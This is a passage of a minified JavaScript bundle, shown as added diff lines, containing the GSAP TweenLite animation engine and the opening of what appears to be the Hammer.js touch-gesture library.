}; + var H = k("TweenLite", function (e, t, n) { + A.call(this, t, n); + this.render = H.prototype.render; + if (e == null) { + throw "Cannot tween a null target." + } + this.target = e = typeof e !== "string" ? e : H.selector(e) || e; + var r = e.jquery || e.length && e !== i && e[0] && (e[0] === i || e[0].nodeType && e[0].style && !e.nodeType), + a = this.vars.overwrite, + s, o, l; + this._overwrite = a = a == null ? K[H.defaultOverwrite] : typeof a === "number" ? a >> 0 : K[a]; + if ((r || e instanceof Array || e.push && m(e)) && typeof e[0] !== "number") { + this._targets = l = c(e); + this._propLookup = []; + this._siblings = []; + for (s = 0; s < l.length; s++) { + o = l[s]; + if (!o) { + l.splice(s--, 1); + continue + } else if (typeof o === "string") { + o = l[s--] = H.selector(o); + if (typeof o === "string") { + l.splice(s + 1, 1) + } + continue + } else if (o.length && o !== i && o[0] && (o[0] === i || o[0].nodeType && o[0].style && !o.nodeType)) { + l.splice(s--, 1); + this._targets = l = l.concat(c(o)); + continue + } + this._siblings[s] = ie(o, this, false); + if (a === 1) + if (this._siblings[s].length > 1) { + re(o, this, null, 1, this._siblings[s]) + } + } + } else { + this._propLookup = {}; + this._siblings = ie(e, this, false); + if (a === 1) + if (this._siblings.length > 1) { + re(e, this, null, 1, this._siblings) + } + } + if (this.vars.immediateRender || t === 0 && this._delay === 0 && this.vars.immediateRender !== false) { + this._time = -f; + this.render(Math.min(0, -this._delay)) + } + }, true), + I = function (e) { + return e && e.length && e !== i && e[0] && (e[0] === i || e[0].nodeType && e[0].style && !e.nodeType) + }, + F = function (e, t) { + var i = {}, + n; + for (n in e) { + if (!J[n] && (!(n in t) || n === "transform" || n === "x" || n === "y" || n === "width" || n === "height" || n === "className" || n === "border") && (!G[n] || G[n] && G[n]._autoCSS)) { + i[n] = e[n]; + delete e[n] + } + } + e.css = i + }; + _ = H.prototype = new A; + _.constructor = H; + _.kill()._gc = false; + _.ratio = 0; + _._firstPT = _._targets = _._overwrittenProps = _._startAt = null; + _._notifyPluginsOfEnabled = _._lazy = false; + H.version = "1.20.4"; + H.defaultEase = _._ease = new T(null, null, 1, 1); + H.defaultOverwrite = "auto"; + H.ticker = g; + H.autoSleep = 120; + H.lagSmoothing = function (e, t) { + g.lagSmoothing(e, t) + }; + H.selector = i.$ || i.jQuery || function (e) { + var t = i.$ || i.jQuery; + if (t) { + H.selector = t; + return t(e) + } + return typeof o === "undefined" ? e : o.querySelectorAll ? o.querySelectorAll(e) : o.getElementById(e.charAt(0) === "#" ? e.substr(1) : e) + }; + var z = [], + R = {}, + N = /(?:(-|-=|\+=)?\d*\.?\d*(?:e[\-+]?\d+)?)[0-9]/gi, + W = /[\+-]=-?[\.\d]/, + B = function (e) { + var t = this._firstPT, + i = 1e-6, + n; + while (t) { + n = !t.blob ? t.c * e + t.s : e === 1 && this.end != null ? this.end : e ? this.join("") : this.start; + if (t.m) { + n = t.m(n, this._target || t.t) + } else if (n < i) + if (n > -i && !t.blob) { + n = 0 + } + if (!t.f) { + t.t[t.p] = n + } else if (t.fp) { + t.t[t.p](t.fp, n) + } else { + t.t[t.p](n) + } + t = t._next + } + }, + q = function (e, t, i, n) { + var r = [], + a = 0, + s = "", + o = 0, + l, u, d, f, c, h, m; + r.start = e; + r.end = t; + e = r[0] = e + ""; + t = r[1] = t + ""; + if (i) { + i(r); + e = r[0]; + t = r[1] + } + r.length = 0; + l = e.match(N) || []; + u = t.match(N) || []; + if (n) { + n._next = null; + n.blob = 1; + r._firstPT = r._applyPT = n + } + c = u.length; + for (f = 0; f < c; f++) { + m = u[f]; + h = t.substr(a, t.indexOf(m, a) - a); + s += h || !f ? h : ","; + a += h.length; + if (o) { + o = (o + 1) % 5 + } else if (h.substr(-5) === "rgba(") { + o = 1 + } + if (m === l[f] || l.length <= f) { + s += m + } else { + if (s) { + r.push(s); + s = "" + } + d = parseFloat(l[f]); + r.push(d); + r._firstPT = { + _next: r._firstPT, + t: r, + p: r.length - 1, + s: d, + c: (m.charAt(1) === "=" ? parseInt(m.charAt(0) + "1", 10) * parseFloat(m.substr(2)) : parseFloat(m) - d) || 0, + f: 0, + m: o && o < 4 ? Math.round : 0 + } + } + a += m.length + } + s += t.substr(a); + if (s) { + r.push(s) + } + r.setRatio = B; + if (W.test(t)) { + r.end = null + } + return r + }, + $ = function (e, t, i, n, r, a, s, o, l) { + if (typeof n === "function") { + n = n(l || 0, e) + } + var u = typeof e[t], + d = u !== "function" ? "" : t.indexOf("set") || typeof e["get" + t.substr(3)] !== "function" ? t : "get" + t.substr(3), + f = i !== "get" ? i : !d ? e[t] : s ? e[d](s) : e[d](), + c = typeof n === "string" && n.charAt(1) === "=", + h = { + t: e, + p: t, + s: f, + f: u === "function", + pg: 0, + n: r || t, + m: !a ? 0 : typeof a === "function" ? a : Math.round, + pr: 0, + c: c ? parseInt(n.charAt(0) + "1", 10) * parseFloat(n.substr(2)) : parseFloat(n) - f || 0 + }, + m; + if (typeof f !== "number" || typeof n !== "number" && !c) { + if (s || isNaN(f) || !c && isNaN(n) || typeof f === "boolean" || typeof n === "boolean") { + h.fp = s; + m = q(f, c ? parseFloat(h.s) + h.c + (h.s + "").replace(/[0-9\-\.]/g, "") : n, o || H.defaultStringFilter, h); + h = { + t: m, + p: "setRatio", + s: 0, + c: 1, + f: 2, + pg: 0, + n: r || t, + pr: 0, + m: 0 + } + } else { + h.s = parseFloat(f); + if (!c) { + h.c = parseFloat(n) - h.s || 0 + } + } + } + if (h.c) { + if (h._next = this._firstPT) { + h._next._prev = h + } + this._firstPT = h; + return h + } + }, + V = H._internals = { + isArray: m, + isSelector: I, + lazyTweens: z, + blobDif: q + }, + G = H._plugins = {}, + U = V.tweenLookup = {}, + X = 0, + J = V.reservedProps = { + ease: 1, + delay: 1, + overwrite: 1, + onComplete: 1, + onCompleteParams: 1, + onCompleteScope: 1, + useFrames: 1, + runBackwards: 1, + startAt: 1, + onUpdate: 1, + onUpdateParams: 1, + onUpdateScope: 1, + onStart: 1, + onStartParams: 1, + onStartScope: 1, + onReverseComplete: 1, + onReverseCompleteParams: 1, + onReverseCompleteScope: 1, + onRepeat: 1, + onRepeatParams: 1, + onRepeatScope: 1, + easeParams: 1, + yoyo: 1, + immediateRender: 1, + repeat: 1, + repeatDelay: 1, + data: 1, + paused: 1, + reversed: 1, + autoCSS: 1, + lazy: 1, + onOverwrite: 1, + callbackScope: 1, + stringFilter: 1, + id: 1, + yoyoEase: 1 + }, + K = { + none: 0, + all: 1, + auto: 2, + concurrent: 3, + allOnStart: 4, + preexisting: 5, + true: 1, + false: 0 + }, + Q = A._rootFramesTimeline = new j, + Z = A._rootTimeline = new j, + ee = 30, + te = V.lazyRender = function () { + var e = z.length, + t; + R = {}; + while (--e > -1) { + t = z[e]; + if (t && t._lazy !== false) { + t.render(t._lazy[0], t._lazy[1], true); + t._lazy = false + } + } + z.length = 0 + }; + Z._startTime = g.time; + Q._startTime = g.frame; + Z._active = Q._active = true; + setTimeout(te, 1); + A._updateRoot = H.render = function () { + var e, t, i; + if (z.length) { + te() + } + Z.render((g.time - Z._startTime) * Z._timeScale, false, false); + Q.render((g.frame - Q._startTime) * Q._timeScale, false, false); + if (z.length) { + te() + } + if (g.frame >= ee) { + ee = g.frame + (parseInt(H.autoSleep, 10) || 120); + for (i in U) { + t = U[i].tweens; + e = t.length; + while (--e > -1) { + if (t[e]._gc) { + t.splice(e, 1) + } + } + if (t.length === 0) { + delete U[i] + } + } + i = Z._first; + if (!i || i._paused) + if (H.autoSleep && !Q._first && g._listeners.tick.length === 1) { + while (i && i._paused) { + i = i._next + } + if (!i) { + g.sleep() + } + } + } + }; + g.addEventListener("tick", A._updateRoot); + var ie = function (e, t, i) { + var n = e._gsTweenID, + r, a; + if (!U[n || (e._gsTweenID = n = "t" + X++)]) { + U[n] = { + target: e, + tweens: [] + } + } + if (t) { + r = U[n].tweens; + r[a = r.length] = t; + if (i) { + while (--a > -1) { + if (r[a] === t) { + r.splice(a, 1) + } + } + } + } + return U[n].tweens + }, + ne = function (e, t, i, n) { + var r = e.vars.onOverwrite, + a, s; + if (r) { + a = r(e, t, i, n) + } + r = H.onOverwrite; + if (r) { + s = r(e, t, i, n) + } + return a !== false && s !== false + }, + re = function (e, t, i, n, r) { + var a, s, o, l; + if (n === 1 || n >= 4) { + l = r.length; + for (a = 0; a < l; a++) { + if ((o = r[a]) !== t) { + if (!o._gc) { + if (o._kill(null, e, t)) { + s = true + } + } + } else if (n === 5) { + break + } + } + return s + } + var u = t._startTime + f, + d = [], + c = 0, + h = t._duration === 0, + m; + a = r.length; + while (--a > -1) { + if ((o = r[a]) === t || o._gc || o._paused) {} else if (o._timeline !== t._timeline) { + m = m || ae(t, 0, h); + if (ae(o, m, h) === 0) { + d[c++] = o + } + } else if (o._startTime <= u) + if (o._startTime + o.totalDuration() / o._timeScale > u) + if (!((h || !o._initted) && u - o._startTime <= 2e-10)) { + d[c++] = o + } + } + a = c; + while (--a > -1) { + o = d[a]; + if (n === 2) + if (o._kill(i, e, t)) { + s = true + } + if (n !== 2 || !o._firstPT && o._initted) { + if (n !== 2 && !ne(o, t)) { + continue + } + if (o._enabled(false, false)) { + s = true + } + } + } + return s + }, + ae = function (e, t, i) { + var n = e._timeline, + r = n._timeScale, + a = e._startTime; + while (n._timeline) { + a += n._startTime; + r *= n._timeScale; + if (n._paused) { + return -100 + } + n = n._timeline + } + a /= r; + return a > t ? a - t : i && a === t || !e._initted && a - t < 2 * f ? f : (a += e.totalDuration() / e._timeScale / r) > t + f ? 0 : a - t - f + }; + _._init = function () { + var e = this.vars, + t = this._overwrittenProps, + i = this._duration, + n = !!e.immediateRender, + r = e.ease, + a, s, o, l, u, d; + if (e.startAt) { + if (this._startAt) { + this._startAt.render(-1, true); + this._startAt.kill() + } + u = {}; + for (l in e.startAt) { + u[l] = e.startAt[l] + } + u.data = "isStart"; + u.overwrite = false; + u.immediateRender = true; + u.lazy = n && e.lazy !== false; + u.startAt = u.delay = null; + u.onUpdate = e.onUpdate; + u.onUpdateParams = e.onUpdateParams; + u.onUpdateScope = e.onUpdateScope || e.callbackScope || this; + this._startAt = H.to(this.target, 0, u); + if (n) { + if (this._time > 0) { + this._startAt = null + } else if (i !== 0) { + return + } + } + } else if (e.runBackwards && i !== 0) { + if (this._startAt) { + this._startAt.render(-1, true); + this._startAt.kill(); + this._startAt = null + } else { + if (this._time !== 0) { + n = false + } + o = {}; + for (l in e) { + if (!J[l] || l === "autoCSS") { + o[l] = e[l] + } + } + o.overwrite = 0; + o.data = "isFromStart"; + o.lazy = n && e.lazy !== false; + o.immediateRender = n; + this._startAt = H.to(this.target, 0, o); + if (!n) { + this._startAt._init(); + this._startAt._enabled(false); + if (this.vars.immediateRender) { + this._startAt = null + } + } else if (this._time === 0) { + return + } + } + } + this._ease = r = !r ? H.defaultEase : r instanceof T ? r : typeof r === "function" ? new T(r, e.easeParams) : x[r] || H.defaultEase; + if (e.easeParams instanceof Array && r.config) { + this._ease = r.config.apply(r, e.easeParams) + } + this._easeType = this._ease._type; + this._easePower = this._ease._power; + this._firstPT = null; + if (this._targets) { + d = this._targets.length; + for (a = 0; a < d; a++) { + if (this._initProps(this._targets[a], this._propLookup[a] = {}, this._siblings[a], t ? t[a] : null, a)) { + s = true + } + } + } else { + s = this._initProps(this.target, this._propLookup, this._siblings, t, 0) + } + if (s) { + H._onPluginEvent("_onInitAllProps", this) + } + if (t) + if (!this._firstPT) + if (typeof this.target !== "function") { + this._enabled(false, false) + } + if (e.runBackwards) { + o = this._firstPT; + while (o) { + o.s += o.c; + o.c = -o.c; + o = o._next + } + } + this._onUpdate = e.onUpdate; + this._initted = true + }; + _._initProps = function (e, t, n, r, a) { + var s, o, l, u, d, f; + if (e == null) { + return false + } + if (R[e._gsTweenID]) { + te() + } + if (!this.vars.css) + if (e.style) + if (e !== i && e.nodeType) + if (G.css) + if (this.vars.autoCSS !== false) { + F(this.vars, e) + } + for (s in this.vars) { + f = this.vars[s]; + if (J[s]) { + if (f) + if (f instanceof Array || f.push && m(f)) + if (f.join("").indexOf("{self}") !== -1) { + this.vars[s] = f = this._swapSelfInParams(f, this) + } + } else if (G[s] && (u = new G[s])._onInitTween(e, this.vars[s], this, a)) { + this._firstPT = d = { + _next: this._firstPT, + t: u, + p: "setRatio", + s: 0, + c: 1, + f: 1, + n: s, + pg: 1, + pr: u._priority, + m: 0 + }; + o = u._overwriteProps.length; + while (--o > -1) { + t[u._overwriteProps[o]] = this._firstPT + } + if (u._priority || u._onInitAllProps) { + l = true + } + if (u._onDisable || u._onEnable) { + this._notifyPluginsOfEnabled = true + } + if (d._next) { + d._next._prev = d + } + } else { + t[s] = $.call(this, e, s, "get", f, s, 0, null, this.vars.stringFilter, a) + } + } + if (r) + if (this._kill(r, e)) { + return this._initProps(e, t, n, r, a) + } + if (this._overwrite > 1) + if (this._firstPT) + if (n.length > 1) + if (re(e, this, t, this._overwrite, n)) { + this._kill(t, e); + return this._initProps(e, t, n, r, a) + } + if (this._firstPT) + if (this.vars.lazy !== false && this._duration || this.vars.lazy && !this._duration) { + R[e._gsTweenID] = true + } + return l + }; + _.render = function (e, t, i) { + var n = this._time, + r = this._duration, + a = this._rawPrevTime, + s, o, l, u; + if (e >= r - 1e-7 && e >= 0) { + this._totalTime = this._time = r; + this.ratio = this._ease._calcEnd ? this._ease.getRatio(1) : 1; + if (!this._reversed) { + s = true; + o = "onComplete"; + i = i || this._timeline.autoRemoveChildren + } + if (r === 0) + if (this._initted || !this.vars.lazy || i) { + if (this._startTime === this._timeline._duration) { + e = 0 + } + if (a < 0 || e <= 0 && e >= -1e-7 || a === f && this.data !== "isPause") + if (a !== e) { + i = true; + if (a > f) { + o = "onReverseComplete" + } + } + this._rawPrevTime = u = !t || e || a === e ? e : f + } + } else if (e < 1e-7) { + this._totalTime = this._time = 0; + this.ratio = this._ease._calcEnd ? this._ease.getRatio(0) : 0; + if (n !== 0 || r === 0 && a > 0) { + o = "onReverseComplete"; + s = this._reversed + } + if (e < 0) { + this._active = false; + if (r === 0) + if (this._initted || !this.vars.lazy || i) { + if (a >= 0 && !(a === f && this.data === "isPause")) { + i = true + } + this._rawPrevTime = u = !t || e || a === e ? e : f + } + } + if (!this._initted || this._startAt && this._startAt.progress()) { + i = true + } + } else { + this._totalTime = this._time = e; + if (this._easeType) { + var d = e / r, + c = this._easeType, + h = this._easePower; + if (c === 1 || c === 3 && d >= .5) { + d = 1 - d + } + if (c === 3) { + d *= 2 + } + if (h === 1) { + d *= d + } else if (h === 2) { + d *= d * d + } else if (h === 3) { + d *= d * d * d + } else if (h === 4) { + d *= d * d * d * d + } + if (c === 1) { + this.ratio = 1 - d + } else if (c === 2) { + this.ratio = d + } else if (e / r < .5) { + this.ratio = d / 2 + } else { + this.ratio = 1 - d / 2 + } + } else { + this.ratio = this._ease.getRatio(e / r) + } + } + if (this._time === n && !i) { + return + } else if (!this._initted) { + this._init(); + if (!this._initted || this._gc) { + return + } else if (!i && this._firstPT && (this.vars.lazy !== false && this._duration || this.vars.lazy && !this._duration)) { + this._time = this._totalTime = n; + this._rawPrevTime = a; + z.push(this); + this._lazy = [e, t]; + return + } + if (this._time && !s) { + this.ratio = this._ease.getRatio(this._time / r) + } else if (s && this._ease._calcEnd) { + this.ratio = this._ease.getRatio(this._time === 0 ? 0 : 1) + } + } + if (this._lazy !== false) { + this._lazy = false + } + if (!this._active) + if (!this._paused && this._time !== n && e >= 0) { + this._active = true + } + if (n === 0) { + if (this._startAt) { + if (e >= 0) { + this._startAt.render(e, true, i) + } else if (!o) { + o = "_dummyGS" + } + } + if (this.vars.onStart) + if (this._time !== 0 || r === 0) + if (!t) { + this._callback("onStart") + } + } + l = this._firstPT; + while (l) { + if (l.f) { + l.t[l.p](l.c * this.ratio + l.s) + } else { + l.t[l.p] = l.c * this.ratio + l.s + } + l = l._next + } + if (this._onUpdate) { + if (e < 0) + if (this._startAt && e !== -1e-4) { + this._startAt.render(e, true, i) + } + if (!t) + if (this._time !== n || s || i) { + this._callback("onUpdate") + } + } + if (o) + if (!this._gc || i) { + if (e < 0 && this._startAt && !this._onUpdate && e !== -1e-4) { + this._startAt.render(e, true, i) + } + if (s) { + if (this._timeline.autoRemoveChildren) { + this._enabled(false, false) + } + this._active = false + } + if (!t && this.vars[o]) { + this._callback(o) + } + if (r === 0 && this._rawPrevTime === f && u !== f) { + this._rawPrevTime = 0 + } + } + }; + _._kill = function (e, t, i) { + if (e === "all") { + e = null + } + if (e == null) + if (t == null || t === this.target) { + this._lazy = false; + return this._enabled(false, false) + } + t = typeof t !== "string" ? t || this._targets || this.target : H.selector(t) || t; + var n = i && this._time && i._startTime === this._startTime && this._timeline === i._timeline, + r, a, s, o, l, u, d, f, c; + if ((m(t) || I(t)) && typeof t[0] !== "number") { + r = t.length; + while (--r > -1) { + if (this._kill(e, t[r], i)) { + u = true + } + } + } else { + if (this._targets) { + r = this._targets.length; + while (--r > -1) { + if (t === this._targets[r]) { + l = this._propLookup[r] || {}; + this._overwrittenProps = this._overwrittenProps || []; + a = this._overwrittenProps[r] = e ? this._overwrittenProps[r] || {} : "all"; + break + } + } + } else if (t !== this.target) { + return false + } else { + l = this._propLookup; + a = this._overwrittenProps = e ? this._overwrittenProps || {} : "all" + } + if (l) { + d = e || l; + f = e !== a && a !== "all" && e !== l && (typeof e !== "object" || !e._tempKill); + if (i && (H.onOverwrite || this.vars.onOverwrite)) { + for (s in d) { + if (l[s]) { + if (!c) { + c = [] + } + c.push(s) + } + } + if ((c || !e) && !ne(this, i, t, c)) { + return false + } + } + for (s in d) { + if (o = l[s]) { + if (n) { + if (o.f) { + o.t[o.p](o.s) + } else { + o.t[o.p] = o.s + } + u = true + } + if (o.pg && o.t._kill(d)) { + u = true + } + if (!o.pg || o.t._overwriteProps.length === 0) { + if (o._prev) { + o._prev._next = o._next + } else if (o === this._firstPT) { + this._firstPT = o._next + } + if (o._next) { + o._next._prev = o._prev + } + o._next = o._prev = null + } + delete l[s] + } + if (f) { + a[s] = 1 + } + } + if (!this._firstPT && this._initted) { + this._enabled(false, false) + } + } + } + return u + }; + _.invalidate = function () { + if (this._notifyPluginsOfEnabled) { + H._onPluginEvent("_onDisable", this) + } + this._firstPT = this._overwrittenProps = this._startAt = this._onUpdate = null; + this._notifyPluginsOfEnabled = this._active = this._lazy = false; + this._propLookup = this._targets ? {} : []; + A.prototype.invalidate.call(this); + if (this.vars.immediateRender) { + this._time = -f; + this.render(Math.min(0, -this._delay)) + } + return this + }; + _._enabled = function (e, t) { + if (!y) { + g.wake() + } + if (e && this._gc) { + var i = this._targets, + n; + if (i) { + n = i.length; + while (--n > -1) { + this._siblings[n] = ie(i[n], this, true) + } + } else { + this._siblings = ie(this.target, this, true) + } + } + A.prototype._enabled.call(this, e, t); + if (this._notifyPluginsOfEnabled) + if (this._firstPT) { + return H._onPluginEvent(e ? "_onEnable" : "_onDisable", this) + } + return false + }; + H.to = function (e, t, i) { + return new H(e, t, i) + }; + H.from = function (e, t, i) { + i.runBackwards = true; + i.immediateRender = i.immediateRender != false; + return new H(e, t, i) + }; + H.fromTo = function (e, t, i, n) { + n.startAt = i; + n.immediateRender = n.immediateRender != false && i.immediateRender != false; + return new H(e, t, n) + }; + H.delayedCall = function (e, t, i, n, r) { + return new H(t, 0, { + delay: e, + onComplete: t, + onCompleteParams: i, + callbackScope: n, + onReverseComplete: t, + onReverseCompleteParams: i, + immediateRender: false, + lazy: false, + useFrames: r, + overwrite: 0 + }) + }; + H.set = function (e, t) { + return new H(e, 0, t) + }; + H.getTweensOf = function (e, t) { + if (e == null) { + return [] + } + e = typeof e !== "string" ? e : H.selector(e) || e; + var i, n, r, a; + if ((m(e) || I(e)) && typeof e[0] !== "number") { + i = e.length; + n = []; + while (--i > -1) { + n = n.concat(H.getTweensOf(e[i], t)) + } + i = n.length; + while (--i > -1) { + a = n[i]; + r = i; + while (--r > -1) { + if (a === n[r]) { + n.splice(i, 1) + } + } + } + } else if (e._gsTweenID) { + n = ie(e).concat(); + i = n.length; + while (--i > -1) { + if (n[i]._gc || t && !n[i].isActive()) { + n.splice(i, 1) + } + } + } + return n || [] + }; + H.killTweensOf = H.killDelayedCallsTo = function (e, t, i) { + if (typeof t === "object") { + i = t; + t = false + } + var n = H.getTweensOf(e, t), + r = n.length; + while (--r > -1) { + n[r]._kill(i, e) + } + }; + var se = k("plugins.TweenPlugin", function (e, t) { + this._overwriteProps = (e || "").split(","); + this._propName = this._overwriteProps[0]; + this._priority = t || 0; + this._super = se.prototype + }, true); + _ = se.prototype; + se.version = "1.19.0"; + se.API = 2; + _._firstPT = null; + _._addTween = $; + _.setRatio = B; + _._kill = function (e) { + var t = this._overwriteProps, + i = this._firstPT, + n; + if (e[this._propName] != null) { + this._overwriteProps = [] + } else { + n = t.length; + while (--n > -1) { + if (e[t[n]] != null) { + t.splice(n, 1) + } + } + } + while (i) { + if (e[i.n] != null) { + if (i._next) { + i._next._prev = i._prev + } + if (i._prev) { + i._prev._next = i._next; + i._prev = null + } else if (this._firstPT === i) { + this._firstPT = i._next + } + } + i = i._next + } + return false + }; + _._mod = _._roundProps = function (e) { + var t = this._firstPT, + i; + while (t) { + i = e[this._propName] || t.n != null && e[t.n.split(this._propName + "_").join("")]; + if (i && typeof i === "function") { + if (t.f === 2) { + t.t._applyPT.m = i + } else { + t.m = i + } + } + t = t._next + } + }; + H._onPluginEvent = function (e, t) { + var i = t._firstPT, + n, r, a, s, o; + if (e === "_onInitAllProps") { + while (i) { + o = i._next; + r = a; + while (r && r.pr > i.pr) { + r = r._next + } + if (i._prev = r ? r._prev : s) { + i._prev._next = i + } else { + a = i + } + if (i._next = r) { + r._prev = i + } else { + s = i + } + i = o + } + i = t._firstPT = a + } + while (i) { + if (i.pg) + if (typeof i.t[e] === "function") + if (i.t[e]()) { + n = true + } + i = i._next + } + return n + }; + se.activate = function (e) { + var t = e.length; + while (--t > -1) { + if (e[t].API === se.API) { + G[(new e[t])._propName] = e[t] + } + } + return true + }; + M.plugin = function (e) { + if (!e || !e.propName || !e.init || !e.API) { + throw "illegal plugin definition." + } + var t = e.propName, + i = e.priority || 0, + n = e.overwriteProps, + r = { + init: "_onInitTween", + set: "setRatio", + kill: "_kill", + round: "_mod", + mod: "_mod", + initAll: "_onInitAllProps" + }, + a = k("plugins." + t.charAt(0).toUpperCase() + t.substr(1) + "Plugin", function () { + se.call(this, t, i); + this._overwriteProps = n || [] + }, e.global === true), + s = a.prototype = new se(t), + o; + s.constructor = a; + a.API = e.API; + for (o in r) { + if (typeof e[o] === "function") { + s[r[o]] = e[o] + } + } + a.version = e.version; + se.activate([a]); + return a + }; + p = i._gsQueue; + if (p) { + for (v = 0; v < p.length; v++) { + p[v]() + } + for (_ in b) { + if (!b[_].func) { + i.console.log("GSAP encountered missing dependency: " + _) + } + } + } + y = false + })(typeof e !== "undefined" && e.exports && typeof i !== "undefined" ? i : this || window, "TweenMax") + }).call(t, i(148)) +}, function (e, t) { + var i; + i = function () { + return this + }(); + try { + i = i || Function("return this")() || (1, eval)("this") + } catch (e) { + if (typeof window === "object") i = window + } + e.exports = i +}, function (e, t, i) { + var n; + (function (r, a, s, o) { + "use strict"; + var l = ["", "webkit", "Moz", "MS", "ms", "o"]; + var u = a.createElement("div"); + var d = "function"; + var f = Math.round; + var c = Math.abs; + var h = Date.now; + + function m(e, t, i) { + return setTimeout(M(e, i), t) + } + + function p(e, t, i) { + if (Array.isArray(e)) { + v(e, i[t], i); + return true + } + return false + } + + function v(e, t, i) { + var n; + if (!e) { + return + } + if (e.forEach) { + e.forEach(t, i) + } else if (e.length !== o) { + n = 0; + while (n < e.length) { + t.call(i, e[n], n, e); + n++ + } + } else { + for (n in e) { + e.hasOwnProperty(n) && t.call(i, e[n], n, e) + } + } + } + + function _(e, t, i) { + var n = "DEPRECATED METHOD: " + t + "\n" + i + " AT \n"; + return function () { + var t = new Error("get-stack-trace"); + var i = t && t.stack ? t.stack.replace(/^[^\(]+?[\n$]/gm, "").replace(/^\s+at\s+/gm, "").replace(/^Object.\s*\(/gm, "{anonymous}()@") : "Unknown Stack Trace"; + var a = r.console && (r.console.warn || r.console.log); + if (a) { + a.call(r.console, n, i) + } + return e.apply(this, arguments) + } + } + var g; + if (typeof Object.assign !== "function") { + g = function e(t) { + if (t === o || t === null) { + throw new TypeError("Cannot convert undefined or null to object") + } + var i = Object(t); + for (var n = 1; n < arguments.length; n++) { + var r = arguments[n]; + if (r !== o && r !== null) { + for (var a in r) { + if (r.hasOwnProperty(a)) { + i[a] = r[a] + } + } + } + } + return i + } + } else { + g = Object.assign + } + var y = _(function e(t, i, n) { + var r = Object.keys(i); + var a = 0; + while (a < r.length) { + if (!n || n && t[r[a]] === o) { + t[r[a]] = i[r[a]] + } + a++ + } + return t + }, "extend", "Use `assign`."); + var b = _(function e(t, i) { + return y(t, i, true) + }, "merge", "Use `assign`."); + + function w(e, t, i) { + var n = t.prototype, + r; + r = e.prototype = Object.create(n); + r.constructor = e; + r._super = n; + if (i) { + g(r, i) + } + } + + function M(e, t) { + return function i() { + return e.apply(t, arguments) + } + } + + function k(e, t) { + if (typeof e == d) { + return e.apply(t ? t[0] || o : o, t) + } + return e + } + + function L(e, t) { + return e === o ? t : e + } + + function T(e, t, i) { + v(D(t), function (t) { + e.addEventListener(t, i, false) + }) + } + + function x(e, t, i) { + v(D(t), function (t) { + e.removeEventListener(t, i, false) + }) + } + + function S(e, t) { + while (e) { + if (e == t) { + return true + } + e = e.parentNode + } + return false + } + + function Y(e, t) { + return e.indexOf(t) > -1 + } + + function D(e) { + return e.trim().split(/\s+/g) + } + + function E(e, t, i) { + if (e.indexOf && !i) { + return e.indexOf(t) + } else { + var n = 0; + while (n < e.length) { + if (i && e[n][i] == t || !i && e[n] === t) { + return n + } + n++ + } + return -1 + } + } + + function C(e) { + return Array.prototype.slice.call(e, 0) + } + + function P(e, t, i) { + var n = []; + var r = []; + var a = 0; + while (a < e.length) { + var s = t ? e[a][t] : e[a]; + if (E(r, s) < 0) { + n.push(e[a]) + } + r[a] = s; + a++ + } + if (i) { + if (!t) { + n = n.sort() + } else { + n = n.sort(function e(i, n) { + return i[t] > n[t] + }) + } + } + return n + } + + function A(e, t) { + var i, n; + var r = t[0].toUpperCase() + t.slice(1); + var a = 0; + while (a < l.length) { + i = l[a]; + n = i ? i + r : t; + if (n in e) { + return n + } + a++ + } + return o + } + var O = 1; + + function j() { + return O++ + } + + function H(e) { + var t = e.ownerDocument || e; + return t.defaultView || t.parentWindow || r + } + var I = /mobile|tablet|ip(ad|hone|od)|android/i; + var F = "ontouchstart" in r; + var z = A(r, "PointerEvent") !== o; + var R = F && I.test(navigator.userAgent); + var N = "touch"; + var W = "pen"; + var B = "mouse"; + var q = "kinect"; + var $ = 25; + var V = 1; + var G = 2; + var U = 4; + var X = 8; + var J = 1; + var K = 2; + var Q = 4; + var Z = 8; + var ee = 16; + var te = K | Q; + var ie = Z | ee; + var ne = te | ie; + var re = ["x", "y"]; + var ae = ["clientX", "clientY"]; + + function se(e, t) { + var i = this; + this.manager = e; + this.callback = t; + this.element = e.element; + this.target = e.options.inputTarget; + this.domHandler = function (t) { + if (k(e.options.enable, [e])) { + i.handler(t) + } + }; + this.init() + } + se.prototype = { + handler: function () {}, + init: function () { + this.evEl && T(this.element, this.evEl, this.domHandler); + this.evTarget && T(this.target, this.evTarget, this.domHandler); + this.evWin && T(H(this.element), this.evWin, this.domHandler) + }, + destroy: function () { + this.evEl && x(this.element, this.evEl, this.domHandler); + this.evTarget && x(this.target, this.evTarget, this.domHandler); + this.evWin && x(H(this.element), this.evWin, this.domHandler) + } + }; + + function oe(e) { + var t; + var i = e.options.inputClass; + if (i) { + t = i + } else if (z) { + t = Ye + } else if (R) { + t = He + } else if (!F) { + t = ke + } else { + t = Re + } + return new t(e, le) + } + + function le(e, t, i) { + var n = i.pointers.length; + var r = i.changedPointers.length; + var a = t & V && n - r === 0; + var s = t & (U | X) && n - r === 0; + i.isFirst = !!a; + i.isFinal = !!s; + if (a) { + e.session = {} + } + i.eventType = t; + ue(e, i); + e.emit("hammer.input", i); + e.recognize(i); + e.session.prevInput = i + } + + function ue(e, t) { + var i = e.session; + var n = t.pointers; + var r = n.length; + if (!i.firstInput) { + i.firstInput = ce(t) + } + if (r > 1 && !i.firstMultiple) { + i.firstMultiple = ce(t) + } else if (r === 1) { + i.firstMultiple = false + } + var a = i.firstInput; + var s = i.firstMultiple; + var o = s ? s.center : a.center; + var l = t.center = he(n); + t.timeStamp = h(); + t.deltaTime = t.timeStamp - a.timeStamp; + t.angle = _e(o, l); + t.distance = ve(o, l); + de(i, t); + t.offsetDirection = pe(t.deltaX, t.deltaY); + var u = me(t.deltaTime, t.deltaX, t.deltaY); + t.overallVelocityX = u.x; + t.overallVelocityY = u.y; + t.overallVelocity = c(u.x) > c(u.y) ? u.x : u.y; + t.scale = s ? ye(s.pointers, n) : 1; + t.rotation = s ? ge(s.pointers, n) : 0; + t.maxPointers = !i.prevInput ? t.pointers.length : t.pointers.length > i.prevInput.maxPointers ? t.pointers.length : i.prevInput.maxPointers; + fe(i, t); + var d = e.element; + if (S(t.srcEvent.target, d)) { + d = t.srcEvent.target + } + t.target = d + } + + function de(e, t) { + var i = t.center; + var n = e.offsetDelta || {}; + var r = e.prevDelta || {}; + var a = e.prevInput || {}; + if (t.eventType === V || a.eventType === U) { + r = e.prevDelta = { + x: a.deltaX || 0, + y: a.deltaY || 0 + }; + n = e.offsetDelta = { + x: i.x, + y: i.y + } + } + t.deltaX = r.x + (i.x - n.x); + t.deltaY = r.y + (i.y - n.y) + } + + function fe(e, t) { + var i = e.lastInterval || t, + n = t.timeStamp - 